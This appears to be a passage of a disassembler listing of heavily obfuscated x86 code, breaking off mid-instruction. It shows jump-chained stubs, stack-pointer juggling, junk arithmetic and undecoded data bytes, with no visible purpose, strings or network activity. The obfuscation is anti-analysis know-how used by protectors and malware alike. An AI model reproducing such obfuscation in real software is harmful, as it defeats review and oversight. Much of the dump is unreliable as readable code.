db 8Bh, 0Ch, 24h dd 4C481h, 0C7810000h, 4, 8B243C87h, 0EC812424h, 4, 0E9242C89h dd 0FFFFDB3Fh, 28C6852h, 565A03A4h, 66AF38BEh, 0FEEA81EDh dd 0E9003F5Fh, 5EEFh ; --------------------------------------------------------------------------- loc_54B240: ; CODE XREF: sub_542C3C+C696j mov esi, 4 jmp loc_54AA36 ; --------------------------------------------------------------------------- dw 0C87h aLSpa db '$‹$$éa',0 dd 45E9AD00h, 0FF000006h, 0BE563C77h, 19586BFCh, 4247429h dd 2434FF5Eh, 5A545258h, 7D99BB53h, 5743173Ah, 558D2BFh dd 5FFB2941h, 8268DBF7h, 89000049h, 0D0B82404h, 0D11993Ah dd 213A2546h, 0DB706125h, 0E9404825h, 78F5h, 0E9240C89h dd 0FFFFF787h, 814DDDF7h, 18E30AC5h, 4815500h, 306A4824h dd 0EF815F5Ch, 5C306A48h, 5061BE5Dh, 0B9511641h, 598E5E65h dd 2959CE29h, 65C681FEh, 0E9598E5Eh, 0FFFFE59Dh, 0C181D101h dd 4B8E25F2h, 1BCEC181h, 835A121Eh, 65E904C1h, 59FFFFC5h dd 660CC980h, 0E901B652h, 72D9h ; --------------------------------------------------------------------------- loc_54B300: ; CODE XREF: sub_542C3C+43EDj shl ecx, 2 add ecx, 0B3EDCDFEh add esi, ecx pop ecx and eax, esi jmp loc_550469 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 6C8E9h db 0 ; --------------------------------------------------------------------------- loc_54B329: ; CODE XREF: sub_542C3C+6444j pop ebp and eax, esi pop esi or edx, eax shl edx, 1 push esi jmp loc_547AE4 ; --------------------------------------------------------------------------- db 0BFh dd 16795297h, 0F75FFD09h, 65ED81DDh, 0E992A0B1h, 548Bh dd 240C8B66h, 17CBE9h, 5AD33100h, 815BDF29h, 3B24A2EEh dd 81FE0119h, 3B24A2C6h, 53525F19h, 4BBh, 2758E900h, 15E0000h dd 81042444h, 0D904246Ch, 0E97A4B1Eh, 0A0Bh, 52240C8Bh dd 0FFD768E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B391: ; CODE XREF: sub_542C3C+F92Aj not edi xor edi, 83B4D444h xor ebx, edi jmp loc_54C320 ; --------------------------------------------------------------------------- loc_54B3A0: ; CODE XREF: sub_542C3C+EF22j add esp, 4 jmp loc_551ED6 ; --------------------------------------------------------------------------- dd 8324048Fh, 58042404h, 4650BD55h, 0BE562214h, 6A568A1h dd 4DE9F501h, 0C1FFFFC8h, 0BF5708E9h, 4E5D56h, 15FF929h dd 2434FFC8h, 0F31FE959h, 0F65CFFFFh, 0B60F66E1h, 5E5456CCh dd 4C681h, 15680000h, 89000034h, 0E0892404h, 405h, 4BF5700h dd 29000000h, 30E95FF8h, 45FFFFEBh, 127EE9h, 4077FF00h dd 0FFB865E9h, 8B665CFFh, 6E68240Ch, 8900001Ah, 4CE9240Ch dd 31FFFFCAh, 3C33243Ch, 24248B24h, 24048B66h, 4EC81h dd 0C890000h, 6E3E6824h, 24890000h, 24048324h, 0BD555904h dd 4, 19EBC181h, 0E90151F2h, 401BE9h db 0 ; --------------------------------------------------------------------------- loc_54B45D: ; CODE XREF: sub_542C3C+C1E8j push ecx pop edx mov ecx, [esp+2Ch+var_2C] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+30h+var_30] pop esp inc ecx xchg ecx, edx push eax mov eax, 2581026Fh xor edx, eax jmp loc_54964B ; --------------------------------------------------------------------------- dw 0C581h dd 4, 1C03BF57h, 3CE95BA2h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B493: ; CODE XREF: sub_542C3C+ABE0j add esp, 4 push 2746h mov [esp+30h+var_30], eax push ebp jmp loc_54F85E ; --------------------------------------------------------------------------- db 5Ch dd 0E92434FFh, 87Eh, 5051D800h, 0E1880DB4h, 782C58h, 0D604E9C8h dd 429FFFFh, 242C8124h, 1A313A3Bh, 1077E9h db 0 ; --------------------------------------------------------------------------- loc_54B4D1: ; CODE XREF: sub_542C3C+414Dj mov eax, [esp+38h+var_38] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+38h+var_38] pop esp jmp loc_54B5C7 ; --------------------------------------------------------------------------- loc_54B4EC: ; CODE XREF: sub_542C3C+B945j push ebp mov ebp, esi push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp+3Ch+var_3C] jmp loc_549287 ; --------------------------------------------------------------------------- loc_54B503: ; CODE XREF: sub_542C3C+C334j pop edx neg ebp push edx mov edx, 35577E2Dh jmp loc_552251 ; --------------------------------------------------------------------------- db 80h, 0EBh, 71h dd 83F0EB80h, 0C8904ECh, 0C038E924h, 2C89FFFFh, 81E58924h dd 4C5h, 2B85000h, 57000000h, 0B87B8DBFh, 3EE78179h, 81295A0Eh dd 0EE706CF7h, 7C03E96Eh, 0C4810000h, 4, 8804C483h, 24048BE1h dd 3004C483h, 0C8B66C8h, 16CFE924h, 0BF570000h, 0B1857FBEh dd 0E95FFB29h, 56ABh ; --------------------------------------------------------------------------- loc_54B574: ; CODE XREF: sub_542C3C+E164j sub edx, 4E7306Eh pop ecx push ebx mov ebx, 4 sub edx, ebx jmp loc_5516E3 ; --------------------------------------------------------------------------- dd 0E905E8C1h, 0FFFFD034h, 6866C300h, 47E962E7h, 55000005h dd 0FFF371E9h, 0EC8358FFh, 1F98E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B5AA: ; CODE XREF: sub_542C3C+F20Bj mov ebp, edi mov eax, ebp pop ebp jmp loc_5492EA ; --------------------------------------------------------------------------- dd 4E92CACh, 4B252E8h, 285AD028h, 0A9E952D8h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B5C7: ; CODE XREF: sub_542C3C+88ABj push esi push eax jmp loc_54ADA8 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9062C02h, 0FFFFED8Fh, 0F02894B6h, 0E8DE95Ah, 0C2010000h dd 0FFC4EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B5E9: ; CODE XREF: sub_542C3C+E78Ej dec ecx jmp loc_547FF6 ; --------------------------------------------------------------------------- db 83h dd 0C58304C4h, 74FF5502h, 2C8B0424h, 4C48324h, 5C24048Fh dd 240C8B66h, 2087E9h, 4C48100h, 57000000h, 7C3A68h, 0D5E1E979h dd 0BB53FFFFh, 428371A1h, 6B90C381h, 0EB8101E9h, 0F53FCD51h dd 0E9E9DD01h, 81000035h, 772F2AF2h, 31B8502Fh, 0E92BFB60h dd 1429h, 4CF1E95Dh, 34FF0000h, 7B33E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B656: ; CODE XREF: sub_542C3C+8FDCj pop esp jmp loc_546C7A ; --------------------------------------------------------------------------- loc_54B65C: ; CODE XREF: sub_542C3C+7638j shr ebp, 2 push eax mov eax, 75084EC0h dec eax not eax dec eax shr eax, 1 and eax, 37DC42F3h jmp loc_5480C8 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 0E904EE83h, 1DAFh ; --------------------------------------------------------------------------- loc_54B684: ; CODE XREF: sub_542C3C+42F7j add edi, eax pop eax xor edi, [esp+38h+var_38] xor [esp+38h+var_38], edi xor edi, [esp+38h+var_38] pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5509BB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 3B6FBD55h, 0C5814222h, 4ADC5F8h, 0FFEE8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B6B9: ; CODE XREF: sub_542C3C+A478j mov [esp+38h+var_38], edx mov ebx, [esp+38h+var_38] push ebp push esp pop ebp jmp loc_548A6E ; --------------------------------------------------------------------------- db 5Fh dd 0C471E950h, 68FFFFh, 0FF000000h, 555B2434h, 494FE9h dd 0B1C58000h, 5213E9h, 57E98100h, 0E989F26Dh, 5C03h ; --------------------------------------------------------------------------- loc_54B6F0: ; CODE XREF: sub_542C3C+9CE3j mov ecx, [esp+3Ch+var_3C] push ecx jmp loc_55156D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aSnu db '$énU',0 align 2 dw 73E9h dd 89FFFFB5h, 0E28158C2h, 6AF32F75h, 0E82E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B716: ; CODE XREF: sub_542C3C+82CFj pop [esp+10h+var_10] pop esp push 4091h mov [esp+0Ch+var_C], esi push eax jmp loc_549176 ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFC874E9h, 0B544E9FFh, 0EFC0FFFFh, 77C78006h dd 0FFD310E9h, 0A06BDFFh, 0E8011341h, 0DB05595Dh, 297CEB21h dd 21DB2DF8h, 0E9567CEBh, 40BAh, 0FFB519E9h, 2EEC1FFh dd 96FAF681h, 81E94186h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B76F: ; CODE XREF: sub_542C3C+CBF3j push eax mov eax, 4 add edi, eax pop eax add edi, 4 push edi push [esp+14h+var_10] pop edi pop [esp+14h+var_14] pop esp push edi push 63A658ABh pop edi and edi, 260A4ADCh jmp loc_5528AF ; --------------------------------------------------------------------------- db 31h dd 0BB535DE8h, 656A0DC8h, 0D0E9D3F7h, 0B9000065h, 27FE3DFBh dd 8159CB01h, 983273C3h, 81FB010Ah, 983273EBh, 3F9EE90Ah dd 0E9530000h, 4B8Dh, 0FE0AE952h, 0C381FFFFh, 0F526A4ECh dd 0E95BD889h, 6DCCh, 6CB68h, 0D78DE900h, 0C301FFFFh, 5D545558h dd 4C581h, 0ED810000h, 4, 5C242C87h, 1EDCE9h, 24248B00h dd 0FFD133E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B809: ; CODE XREF: sub_542C3C+9392j pop ebp sub esp, 4 mov [esp+10h+var_10], edi push [esp+10h+var_C] pop edi pop [esp+10h+var_10] pop esp jmp loc_55253E ; --------------------------------------------------------------------------- aSQ db '^é\Q',0 dw 8B00h aHel db '$$hEL',0 dw 8900h dd 0E955241Ch, 1DBDh ; --------------------------------------------------------------------------- loc_54B838: ; CODE XREF: sub_542C3C+5E41j pop esp mov edx, [esp+20h+var_20] add esp, 4 jmp loc_5527A6 ; --------------------------------------------------------------------------- aIHgz db '‰,$hƒz',0 align 4 dd 0FFEA48E9h, 240481FFh, 51901CAEh, 0AEBB535Ah, 2951901Ch dd 815B5BDAh, 334EDFE2h, 0E1BD5512h, 45795600h, 7245E9h dd 0DE95800h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B87B: ; CODE XREF: sub_542C3C+C0FAj xor [esp+1Ch+var_1C], edi xor edi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] shl [esp+1Ch+var_1C], cl jmp loc_546C7A ; --------------------------------------------------------------------------- dd 16FB6853h, 4890000h, 0B7A3B424h, 0E9E73079h, 2ABCh dd 0F5BB5351h, 896FEF32h, 0D22D5BD9h, 29245807h, 4EC83C8h dd 0BB241C89h, 245807D2h, 3658622Dh, 56380564h, 0F4E91086h dd 0ACFFFFBFh, 5166D830h, 8904EC83h, 0E1B22414h, 0F661E280h dd 0DA36E9D2h, 0F680FFFFh, 0F76E9CFh, 0E8C10000h, 0E9D8F702h dd 0FFFFEE33h, 243C8757h, 3C87D7F7h, 243C8B24h, 0C104C483h dd 0D7F707E7h, 4E7C147h, 9AE95652h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B913: ; CODE XREF: sub_542C3C+7470j mov [esp+24h+var_24], edi push esp pop edi add edi, 4 jmp loc_548116 ; --------------------------------------------------------------------------- loc_54B923: ; CODE XREF: sub_542C3C+64CAj add eax, 142CE157h mov esi, eax pop eax push ebp jmp loc_54FDD0 ; --------------------------------------------------------------------------- db 81h, 0EFh, 62h dd 0E92D1777h, 0FFFFF304h, 5156E189h, 6243BA52h, 0CDB9403Ah dd 0E9227E68h, 0FFFFC75Bh, 89243489h, 4EC83E6h, 0E9243C89h dd 400h, 0C158C129h, 26E904E9h, 8100004Eh, 0E733BEFh, 240C8B76h dd 4C481h, 0B6E90000h, 81FFFFEBh, 24400F5h, 5DEB0124h dd 72D2B850h, 0FDE90785h, 56000025h, 0E0017BBEh, 6B41E929h dd 0EDC10000h, 62CD8104h, 811B6834h, 0F9B50BEDh, 5DEF29CEh dd 50A268h, 243C8900h, 2B5CDEBFh, 0C1474F56h, 0F78107EFh dd 6D600BCh, 0E95FF829h, 116Ch, 5FA668h, 241C8900h, 4BBh dd 0BE46E900h, 505FFFFFh, 42474FFh, 24048F58h, 49A4E9h dd 241C8900h, 2468h, 0DE015B00h, 1032E9h, 48F5900h, 24248B24h dd 9C240409h, 0FFB269E9h, 28AD68FFh, 0B4E96F01h, 89FFFFB3h dd 82B02404h, 0C8FEC0FEh, 0C600872Ch, 855E9h, 0D7B95100h dd 29E211F0h, 0BA5259C8h, 471956ADh, 8105EAC1h, 6E56F3E2h dd 2CCA8114h, 0E9646367h, 53EAh ; --------------------------------------------------------------------------- loc_54BA50: ; CODE XREF: sub_542C3C+6282j xchg esi, [esp+34h+var_34] pop esp shr eax, 8 jmp loc_548B56 ; --------------------------------------------------------------------------- dd 4EC8359h, 0BD242C89h, 2, 62A5E9h, 0B208E900h, 8B66FFFFh dd 0CE682404h, 0E900001Bh, 61D2h, 1FD6C981h, 0F181087Fh dd 48AD26B3h, 2772E981h, 0CF01AAB6h, 3C875D59h, 0DBE95C24h dd 0C0FFFFB1h, 0EC8007ECh, 58E228E6h, 5058E228h, 0E23054B4h dd 0F6CAFE58h, 0EA94E9D2h, 0EB01FFFFh, 80BD555Dh, 810D0829h dd 0A273F8CDh, 5EDC13Ah, 4EC814Dh, 89000000h, 21E9240Ch dd 1FFFFDEh, 0CE02E9F3h, 8966FFFFh, 4EB5240Ch, 0EEE9EB00h dd 5E00000Fh, 4C681h, 4680000h, 8900000Dh, 0C2E92404h dd 81000019h, 42367BCBh, 7EBC12Ah, 6FBFE9h, 6DC18100h dd 5A4CD912h, 0E9240C33h, 0FFFFB98Ah, 3915AA0Dh, 35D0F728h dd 753D0151h, 42CCA35h, 0F92D4071h, 89CA8E48h, 0DE958C5h dd 29000041h, 2434FFF8h, 7133E9h, 0B9515200h, 6BCD3AA9h dd 26C9E9h, 0E9E28900h, 0FFFFC37Ch ; --------------------------------------------------------------------------- loc_54BB5C: ; CODE XREF: sub_542C3C+101B8j xchg ebp, [esp+30h+var_30] pop esp jmp loc_548210 ; --------------------------------------------------------------------------- db 89h, 0E5h, 0E9h dd 0FFFFF916h, 4BD55h, 0E9290000h, 240C875Dh, 2414895Ch dd 7A77D7BAh, 70C38162h, 155E376h, 0C653E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB8E: ; CODE XREF: sub_542C3C+9EDFj push [esp+2Ch+var_2C] pop edi add esp, 4 mov dword ptr [edi+20h], 4CD05FD4h xor [edi+20h], esi mov esi, [esp+28h+var_28] add esp, 4 loc_54BBAB: ; CODE XREF: sub_542C3C+B10Dj ; sub_542C3C:loc_552CD0j mov ebx, [esp+24h+var_24] push 4A9Ah mov [esp+28h+var_28], esi sub esp, 4 jmp loc_549E66 ; --------------------------------------------------------------------------- db 5Ch, 66h, 0Fh aPFqS db '¯ÈfQœé;`',0 align 2 aRsA db 'Réœa',0 align 4 dd 207F83ADh, 3C840F00h, 5000005Eh, 756186B8h, 0FFC6013Dh db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+30h+var_30] pop esp add esi, 14A858A4h add esi, eax jmp loc_54D704 ; --------------------------------------------------------------------------- align 4 dd 20ACE9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BC12: ; CODE XREF: sub_542C3C+FD44j add ebx, 4 xchg ebx, [esp+2Ch+var_2C] jmp loc_54B656 ; --------------------------------------------------------------------------- aMrs db '¬Réº+',0 align 4 loc_54BC24: ; CODE XREF: sub_542C3C+6616j sub esp, 4 mov [esp+28h+var_28], ebx sub [esp+28h+var_28], 739158D9h mov eax, [esp+28h+var_28] jmp loc_54BCC4 ; --------------------------------------------------------------------------- db 81h, 0E9h, 2Dh dd 2945564Fh, 2DC181F1h, 5E45564Fh, 5C240C87h, 0E9241C89h dd 0FFFFB061h, 0E958E228h, 8C6h, 175528BBh, 4CF38147h dd 8177FB18h, 625FC5EBh, 0A3F3815Ch, 9F94AD0h, 0ED815BDDh dd 6D5A4880h, 39E8E9h db 0 ; --------------------------------------------------------------------------- loc_54BC81: ; CODE XREF: sub_542C3C+DF31j and esi, ecx jmp loc_54F383 ; --------------------------------------------------------------------------- dd 5C241487h, 4C0EC781h, 0EF296DEEh, 4C0EEF81h, 0F1E96DEEh dd 66000037h, 5024048Bh, 976E954h, 0CE810000h, 7E9A5100h dd 0FFFAACE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BCB5: ; CODE XREF: sub_542C3C+6646j add esp, 4 push ecx jmp loc_5516FA ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFC433h ; --------------------------------------------------------------------------- loc_54BCC4: ; CODE XREF: sub_542C3C+8FF8j push edi jmp loc_551115 ; --------------------------------------------------------------------------- loc_54BCCA: ; CODE XREF: sub_542C3C+CC0Bj mov esp, [esp+2Ch+var_2C] push 3993h jmp loc_550EAA ; --------------------------------------------------------------------------- db 81h dd 42404h, 34FF0000h, 0C4815824h, 4, 57EBBA52h, 0E1E918FFh dd 2DFFFFCAh, 6BB05742h, 0FF0ED905h, 53F02910h, 9D8E9h dd 5AD52800h, 0FE78ED80h, 80DDF6C5h, 0EE2086F5h, 68B05059h dd 62B9E9h, 0C8B6600h, 8B545124h, 0C483240Ch, 697FE904h dd 48B0000h, 0A3685224h, 0E900007Bh, 0FFFFB11Bh ; --------------------------------------------------------------------------- loc_54BD3C: ; CODE XREF: sub_542C3C+5998j mov ebp, [esp+14h+var_14] jmp loc_548AAD ; --------------------------------------------------------------------------- loc_54BD44: ; CODE XREF: sub_542C3C+F53Dj or ebx, 8671196h xor ebx, 4C1D0916h sub ebx, 4DDB570Dh sub ebp, ebx pop ebx add ebx, ebp jmp loc_550751 ; --------------------------------------------------------------------------- dd 4BFh, 5FFE0100h, 8702C683h, 248B2434h, 0AB0F6624h, 0E99C2404h dd 0FFFFAEFEh ; --------------------------------------------------------------------------- loc_54BD7C: ; CODE XREF: sub_542C3C+ECD5j push 5E55h mov [esp+14h+var_14], ebp push 0FFFFFFFFh push [esp+18h+var_18] pop ebp push edx jmp loc_548156 ; --------------------------------------------------------------------------- db 58h dd 8B2434FFh, 0C4832434h, 3B46E904h, 0EE800000h, 80E628F3h dd 0A2E9F3C6h, 81FFFFBFh, 4F0FDBC7h, 5FF98962h, 4A8BE951h dd 77680000h, 8900003Ah, 98BB241Ch, 4358A459h, 74D5C381h dd 0C3813617h, 4B60715Ch, 3EACE9h, 8AC58100h, 812C714Ch dd 0D54940C5h, 12BE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BDEE: ; CODE XREF: sub_542C3C+B9AEj mov eax, 7931429h add eax, 13FE7982h add eax, ebx sub eax, 13FE7982h pop ebx add ebp, eax pop eax jmp loc_54F38F ; --------------------------------------------------------------------------- loc_54BE08: ; CODE XREF: sub_542C3C+F676j pop ebp shr ebp, 7 xor ebp, offset byte_41200F mov esi, ebp pop ebp add ecx, 1A4A65B1h add ecx, esi sub ecx, 1A4A65B1h pop esi add ecx, 4 push ecx jmp loc_54EFED ; --------------------------------------------------------------------------- loc_54BE2D: ; CODE XREF: sub_542C3C+100A2j push 7A0Ch mov [esp+10h+var_10], edi mov edi, 1A17493Fh jmp loc_54D1CE ; --------------------------------------------------------------------------- aYwr db 'YWRº{',0 db 37h, 6Ah, 51h dd 407E97B9h, 0A4B85069h, 29621D27h, 0F18158C1h, 724A2D44h dd 2AE7F181h, 7BE93FB6h, 52FFFFE6h, 7254E9h db 0 ; --------------------------------------------------------------------------- loc_54BE6D: ; CODE XREF: sub_542C3C+BFDFj mov esi, ebp jmp loc_54FBEC ; --------------------------------------------------------------------------- dd 0BCE4E950h, 0C89FFFFh, 0D8E95724h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE83: ; CODE XREF: sub_542C3C+A68Dj pop edi add edi, 4 jmp loc_549ED1 ; --------------------------------------------------------------------------- db 8Bh dd 4E9241Ch, 4D000066h, 0B3C1F581h, 0EF899317h, 3D25B85Dh dd 58E978FDh, 5C000044h, 0FFDFA3E9h, 244488FFh, 66586603h dd 245C8651h, 5C14E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BEC2: ; CODE XREF: sub_542C3C+96D8j mov [esp+0Ch+var_C], ebx push [esp+0Ch+var_C] jmp loc_5527CB ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 0FFFC6AE9h, 48B66FFh, 4EC8324h, 89240C89h, 4EC81E1h dd 0E9000000h, 0FFFFB88Ah, 0F386D6F6h, 1245C86h, 240C8B66h dd 8602C483h, 6601246Ch, 243C305Bh, 30243C32h, 9CE9243Ch dd 5800001Fh, 5C24048Fh, 0FFC102E9h, 0DE95FFFh, 0B9000060h dd 4, 0E959CB01h, 5F81h, 8158C201h, 1A227CE9h, 149FE96Eh dd 0E0890000h, 2595BA52h, 40E95EE8h, 6600000Ah, 0E9240C8Bh dd 6D6Ah, 3302C683h, 36E92434h, 0B9000030h, 3E8661D4h dd 263EE949h, 0E1890000h, 39A868h, 0E353E900h, 8C68FFFFh dd 0E900001Fh, 6161h ; --------------------------------------------------------------------------- loc_54BF7C: ; CODE XREF: sub_542C3C+6C9Bj mov esi, edi pop edi and ecx, esi mov esi, [esp+30h+var_30] jmp loc_54AB56 ; --------------------------------------------------------------------------- db 0BBh, 36h, 5Eh dd 0E38179CFh, 33C026D0h, 0C106E3C1h, 0F38108EBh, 0B031498h dd 3D03F381h, 0DA296E09h, 0EFEA815Bh, 18015BFh, 8E685AD3h dd 8900005Bh, 4368240Ch, 8BF868EFh, 0E955240Ch, 0FFFFB1E9h ; --------------------------------------------------------------------------- loc_54BFC8: ; CODE XREF: sub_542C3C+54EFj pop ebx mov ebp, edi pop edi add edi, ebp jmp loc_54B809 ; --------------------------------------------------------------------------- db 88h dd 24148BF0h, 4C481h, 0C2880000h, 0B800E958h, 0DA01FFFFh dd 3D24E9h db 0 ; --------------------------------------------------------------------------- loc_54BFED: ; CODE XREF: sub_542C3C+BCB1j push edx mov dl, 8Fh jmp loc_55311A ; --------------------------------------------------------------------------- loc_54BFF5: ; CODE XREF: sub_542C3C+4AE9j push esi push 3Ch mov [esp+2Ch+var_2C], ebp mov ebp, 799C5C6Fh shl ebp, 2 push ebx mov ebx, 5C3D5670h shr ebx, 6 or ebx, 33306BC0h add ebx, 0C545FCCh add ebp, 0B27723h sub ebp, ebx jmp loc_550A05 ; --------------------------------------------------------------------------- loc_54C028: ; CODE XREF: sub_542C3C+FA9Ej mov [esp+30h+var_30], ebp pop eax jmp loc_5483B8 ; --------------------------------------------------------------------------- aISN db '‰Ù[éÚN',0 dd 0E0895000h, 405h, 38E2E900h, 89560000h, 4C681E6h, 83000000h dd 348704C6h, 168BE924h, 8B660000h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx sub ebp, 4 xor ebp, [esp+30h+var_30] xor [esp+30h+var_30], ebp xor ebp, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], ecx push esp pop ecx push edi jmp loc_54CE73 ; --------------------------------------------------------------------------- loc_54C082: ; CODE XREF: sub_542C3C+EF7Aj mov edx, 0DD144B9h neg edx jmp loc_551A79 ; --------------------------------------------------------------------------- dw 248Bh dd 48B6624h, 2EE95124h, 66FFFFAFh, 6600B60Fh, 665D9268h dd 0E9240489h, 0FFFFABCEh, 4C481h, 0C3800000h, 80EB0008h dd 596608EBh, 6602EC83h, 0E9240489h, 997h, 8B2434FFh, 6851240Ch dd 6486h, 81242489h, 42404h, 0C8B0000h, 4C48324h, 0FFD8B3E9h dd 59CA89FFh, 1666E9h db 0 ; --------------------------------------------------------------------------- loc_54C0F1: ; CODE XREF: sub_542C3C+F954j push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_54CC2D ; --------------------------------------------------------------------------- dw 0E959h dd 379h ; --------------------------------------------------------------------------- loc_54C108: ; CODE XREF: sub_542C3C+EC33j sub esp, 4 mov [esp+38h+var_38], ebx push esp mov ebx, [esp+3Ch+var_3C] add esp, 4 add ebx, 4 jmp loc_54C5A2 ; --------------------------------------------------------------------------- dd 0F39CE958h, 0BA52FFFFh, 7B04379Bh, 5104E2C1h, 377411B9h dd 0C439E914h, 62B2FFFFh, 4FB5E9h, 0FFE98100h, 2177BF83h dd 0E9591C4Fh, 0FFFFAB2Ah ; --------------------------------------------------------------------------- loc_54C150: ; CODE XREF: sub_542C3C+6C81j add ebx, 0B1721E49h and eax, ebx pop ebx or eax, eax jmp loc_54AE79 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0BE90000h, 87FFFFABh, 15E92414h dd 81000007h, 7A62C5EAh, 81FA016Ah, 7A62C5C2h, 0C2815F6Ah dd 4, 31241433h, 0FDE92414h, 83000008h, 515304C4h, 0BE494FB9h dd 59CB893Ch, 0D831C331h, 0FFBA42E9h, 5AD729FFh, 296FE9h dd 241C3300h, 0FFC3E7E9h, 0AAB8E9FFh, 0C681FFFFh, 784E1C30h dd 0B858E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1CE: ; CODE XREF: sub_542C3C+BF72j pop eax sub esi, 6B502810h add esi, edx jmp loc_54D6B1 ; --------------------------------------------------------------------------- dd 31D368h, 24348900h, 150668h, 2BF6800h, 24890000h, 24048124h dd 4, 8124048Fh, 42404h, 685E0000h, 0A5Fh, 0E9241489h dd 0FFFFDA9Dh ; --------------------------------------------------------------------------- loc_54C210: ; CODE XREF: sub_542C3C+56D4j add ebp, ecx mov ecx, [esp+40h+var_40] add esp, 4 jmp loc_552E04 ; --------------------------------------------------------------------------- loc_54C220: ; CODE XREF: sub_542C3C+7C4Dj mov [esp+4Ch+var_4C], ebx jmp loc_551101 ; --------------------------------------------------------------------------- loc_54C228: ; CODE XREF: sub_542C3C+10111j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+48h+var_48] pop esp jmp loc_54E018 ; --------------------------------------------------------------------------- loc_54C23B: ; CODE XREF: sub_542C3C+E28Ej add ecx, 3F06081Fh jmp loc_550BAA ; --------------------------------------------------------------------------- dw 0FB31h dd 0C331DF31h, 0FFE27BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C251: ; CODE XREF: sub_542C3C+71E4j add esp, 4 push ebp push 6D0Fh mov [esp+10h+var_10], eax mov eax, 1EE30F40h dec eax and eax, 474624DBh not eax dec eax add eax, 1D324138h xor eax, 417B1DF6h mov ebp, eax pop eax push ebp push edi jmp loc_54F0E2 ; --------------------------------------------------------------------------- dw 8058h dd 0B60420C6h, 0B62CF000h, 8324148Bh, 0E80004C4h, 0A6E99B2Ch dd 8700003Ah, 665C242Ch, 68240C8Bh, 24C7h, 0FFABDBE9h dd 0A9C8E9FFh, 0C481FFFFh, 4, 5E08950h, 4, 8704E883h, 0E95C2404h dd 6DECh ; --------------------------------------------------------------------------- loc_54C2CC: ; CODE XREF: sub_542C3C+AB16j push 179Eh jmp loc_54DB75 ; --------------------------------------------------------------------------- dw 0D1F6h dd 805AE980h, 0E980BEE1h, 59CA203Fh, 6FB75366h, 5B66FA30h dd 34FFD188h, 0C4815A24h, 4, 2E09E9h db 0 ; --------------------------------------------------------------------------- loc_54C2FD: ; CODE XREF: sub_542C3C+47E3j push esp mov edx, [esp+28h+var_28] add esp, 4 push ecx mov ecx, 4 push ebp jmp loc_550D8A ; --------------------------------------------------------------------------- loc_54C313: ; CODE XREF: sub_542C3C+A33Dj pop esp jmp loc_54BEC2 ; --------------------------------------------------------------------------- aIrsj db '‰àéj*',0 align 10h loc_54C320: ; CODE XREF: sub_542C3C+875Fj pop edi jmp loc_550D58 ; --------------------------------------------------------------------------- loc_54C326: ; CODE XREF: sub_542C3C+9AD5j pop ebx jmp loc_551E28 ; --------------------------------------------------------------------------- dd 0ED18EA68h, 17B85E77h, 18812E7h, 81505EF0h, 5612404h dd 0C8B57EFh, 4C48124h, 57000000h, 0E650C6BFh, 2EFC12Bh dd 0AB3E94Fh, 0D6F70000h, 1C681h, 55500000h, 9C719568h dd 0BBE95D64h, 29FFFFAFh, 83565BD8h, 1C8904ECh, 5742BB24h dd 0DE896BB0h, 5EF0015Bh, 8124348Bh, 4C4h, 50D8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C392: ; CODE XREF: sub_542C3C+6951j xor esi, eax pop eax add eax, 48E44B0Fh add eax, esi sub eax, 48E44B0Fh pop esi sub eax, ebx sub eax, 7DE27BE0h push [esp+34h+var_34] pop ebx jmp loc_54CF9B ; --------------------------------------------------------------------------- loc_54C3B2: ; CODE XREF: sub_542C3C+9FD8j pop edx sub esp, 4 mov [esp+34h+var_34], eax mov eax, 61F80023h inc eax jmp loc_5531B9 ; --------------------------------------------------------------------------- dd 0E403BF57h, 0FA31E60Eh, 5AD0315Fh, 0FFA8A5E9h, 0D9095AFFh dd 83241C8Bh, 0D86804C4h, 0E9000055h, 74Ch, 15DE889h, 0F02958C6h dd 8124348Bh, 4C4h, 68C33100h, 4270h, 0BB241C89h, 2Ch dd 53C268h, 24048900h, 8B3C10B8h, 58C3010Fh, 56B7C381h dd 76E938B1h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C423: ; CODE XREF: sub_542C3C+9CD4j xor eax, ebx xor ebx, eax xor eax, ebx xor 